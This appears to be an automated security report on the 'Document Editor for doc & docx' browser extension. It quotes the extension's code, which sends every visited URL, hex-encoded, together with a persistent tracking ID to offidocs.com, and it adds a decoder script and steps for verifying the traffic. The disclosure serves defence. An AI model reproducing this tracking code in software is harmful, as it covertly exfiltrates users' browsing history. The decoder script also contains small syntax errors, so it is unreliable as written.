Is Document Editor for doc & docx safe?
Document Editor is high risk. Each time you navigate or switch tabs, the background script hex-encodes the URL and sends it to offidocs.com. The request fires automatically, with no interaction, carrying a persistent ID linking your visits. DA confirmed it in seconds.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Every URL you visit sent to offidocs.com in real time
Each time you navigate or switch tabs, the background script hex-encodes the URL and sends it to offidocs.com.
The request fires automatically, with no interaction, carrying a persistent ID linking your visits.
DA confirmed it in seconds.
You navigate to any webpage or switch to a different tab.
The extension encodes the full page URL and sends it to offidocs.com along with a persistent tracking ID.
No interaction with the extension is required. The request fires on every navigation, including private browsing activity.
The visited URL is hex-encoded before sending. The encoding is trivially reversible; it is not encryption. Every character of the URL is preserved.
https://example.com/sample-page
| Field | Value | Why it matters | |
|---|---|---|---|
The URL you are visiting | 68747470733a2f2f6d61696c2e676f6f676c652e636f6d2f | The exact page you are on, hex-encoded. Trivially decoded to reveal the full URL. | |
Your persistent tracking ID | etdl4sfjla | A 10-character random identifier generated on first run and stored permanently. Links all your browsing history together. | |
Service ID | svc-7f3a2b | A server-assigned identifier fetched once on startup. Associates your tracking ID with a server-side account. |
The navigation listener and exfiltration logic in websecure.js:
// Fires on every tab switch and every page navigation.
chrome.tabs.onActivated.addListener(function(activeInfo) {
activeTabId = activeInfo.tabId;
getTabInfo(activeTabId);
});
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
getTabInfo(tabId);
});
function getTabInfo(tabId) {
chrome.tabs.get(tabId, function(tab) {
// Skip offidocs pages themselves and non-HTTP URLs
if (tab.url.indexOf('offidocs') === -1 &&
tab.url.indexOf('http') !== -1 &&
lastUrl !== tab.url) {
extractaudio(tab.url);
lastUrl = tab.url;
}
});
}
async function extractaudio(urlxx) {
// ... (retrieves stored username from chrome.storage.local) ...
// GET the visited URL, hex-encoded, to offidocs.com
let cfgv = await fetch(
'https://www.offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php'
+ '?filepath=' + bin2hex(urlxx)
+ '&hex=1'
+ '&u=' + username // persistent 10-char tracking ID
+ '&s=' + servicexx // server-assigned service ID
);
}
function bin2hex(bin) {
var hex = '';
for (var i = 0; i < bin.length; i++) {
var chr = bin.charCodeAt(i).toString(16);
hex += chr.length < 2 ? '0' + chr : chr;
}
return hex;
}- www.offidocs.com
Primary data recipient. Receives the hex-encoded URL, persistent tracking ID, and service ID on every navigation. Operated by the extension publisher.
Decodes the hex-encoded filepath= parameter from any captured offidocs.com request back to the plain URL, confirming what page was exfiltrated.
// offidocs-nav-tracker-verify.js
// Usage: node offidocs-nav-tracker-verify.js <hex_string>
// Example: node offidocs-nav-tracker-verify.js 68747470733a2f2f6e6577732e79636f6d62696e61746f722e636f6d2f
//
// Or paste into browser console:
// decodeHex('68747470733a2f2f6e6577732e79636f6d62696e61746f722e636f6d2f')
function decodeHex(hex) {
let result = '';
for (let i = 0; i < hex.length; i += 2) {
result += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return result;
}
// Node.js entry point
if (typeof process !== 'undefined' && process.argv[2]) {
const hex = process.argv[2];
const decoded = decodeHex(hex);
console.log('Hex input: ', hex);
console.log('Decoded URL:', decoded);
} else if (typeof process !== 'undefined') {
// Read from stdin if no argument
let data = '';
process.stdin.on('data', chunk => { data += chunk; });
process.stdin.on('end', => {
const hex = data.trim;
console.log('Decoded URL:', decodeHex(hex));
});
}
// Also export for browser console use:
if (typeof window !== 'undefined') {
window.decodeHex = decodeHex;
console.log('[offidocs-verify] Ready. Call decodeHex("<hex>") to decode a filepath= value.');
}- 1Capture traffic while active (DevTools Network or a proxy).
- 2Find a GET to offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php.
- 3Copy the filepath= value.
- 4Run offidocs-nav-tracker-verify.js <value> for the URL.
Permanent tracking ID ties all your browsing history together
On first run, the extension makes a random 10-char ID stored permanently.
This ID rides every URL sent to offidocs.com, building a durable profile.
DA confirmed the same ID across all 7 captured requests across 5 sites.
The extension runs for the first time after installation.
A random 10-character identifier is generated and stored permanently in browser storage.
This ID is then appended as the 'u=' parameter to every subsequent URL exfiltration request, linking all your browsing history under a single persistent pseudonym.
'username' is the persistent tracking ID sent with every visit. 'offidocscloud' controls whether exfiltration is active; default '1' (on).
chrome.storage.local key 'offidocs_key'{
"username": "etdl4sfjla",
"offidocscloud": "1"
}| Field | Value | Why it matters | |
|---|---|---|---|
Your tracking ID (u=) | etdl4sfjla | Identical across every request to offidocs.com. Allows the server to reconstruct a complete browsing history for your installation. | |
Visited URL (filepath=) | 68747470733a2f2f6d61696c2e676f6f676c652e636f6d | The hex-encoded full URL of every page you visit, linked to your tracking ID. |
Tracking ID generation and persistence (websecure.js):
// On startup: attempt to retrieve stored username (legacy sync storage path)
if (chrome.storage.sync.get('username', function(obj) {})) {
username = chrome.storage.sync.get('username', function(obj) {});
} else {
username = randomString(10).toLowerCase();
chrome.storage.sync.set({'username': username}, function() {});
}
// Inside extractaudio() — called on every navigation:
async function extractaudio(urlxx) {
let storageResult = await chrome.storage.local.get(['offidocs_key']);
let datax = storageResult['offidocs_key'] || { username: null, offidocscloud: null };
if (datax.username) {
username = datax.username; // reuse existing ID
} else {
username = randomString(10).toLowerCase(); // generate once
datax.username = username;
}
// ... stores datax back to chrome.storage.local ...
// Exfiltrate: attach tracking ID as u= parameter
let response = await fetch(
'https://www.offidocs.com/media/system/app/checkdownloaddoceditorx_2_nav.php'
+ '?filepath=' + bin2hex(urlxx)
+ '&hex=1'
+ '&u=' + username
+ '&s=' + servicexx
);
}
function randomString(len, charSet) {
charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var result = '';
for (var i = 0; i < len; i++) {
var pos = Math.floor(Math.random() * charSet.length);
result += charSet.substring(pos, pos + 1);
}
return result.toLowerCase();
}- www.offidocs.com
Receives the persistent tracking ID (u= parameter) alongside the hex-encoded visited URL on every navigation. Operated by the extension publisher.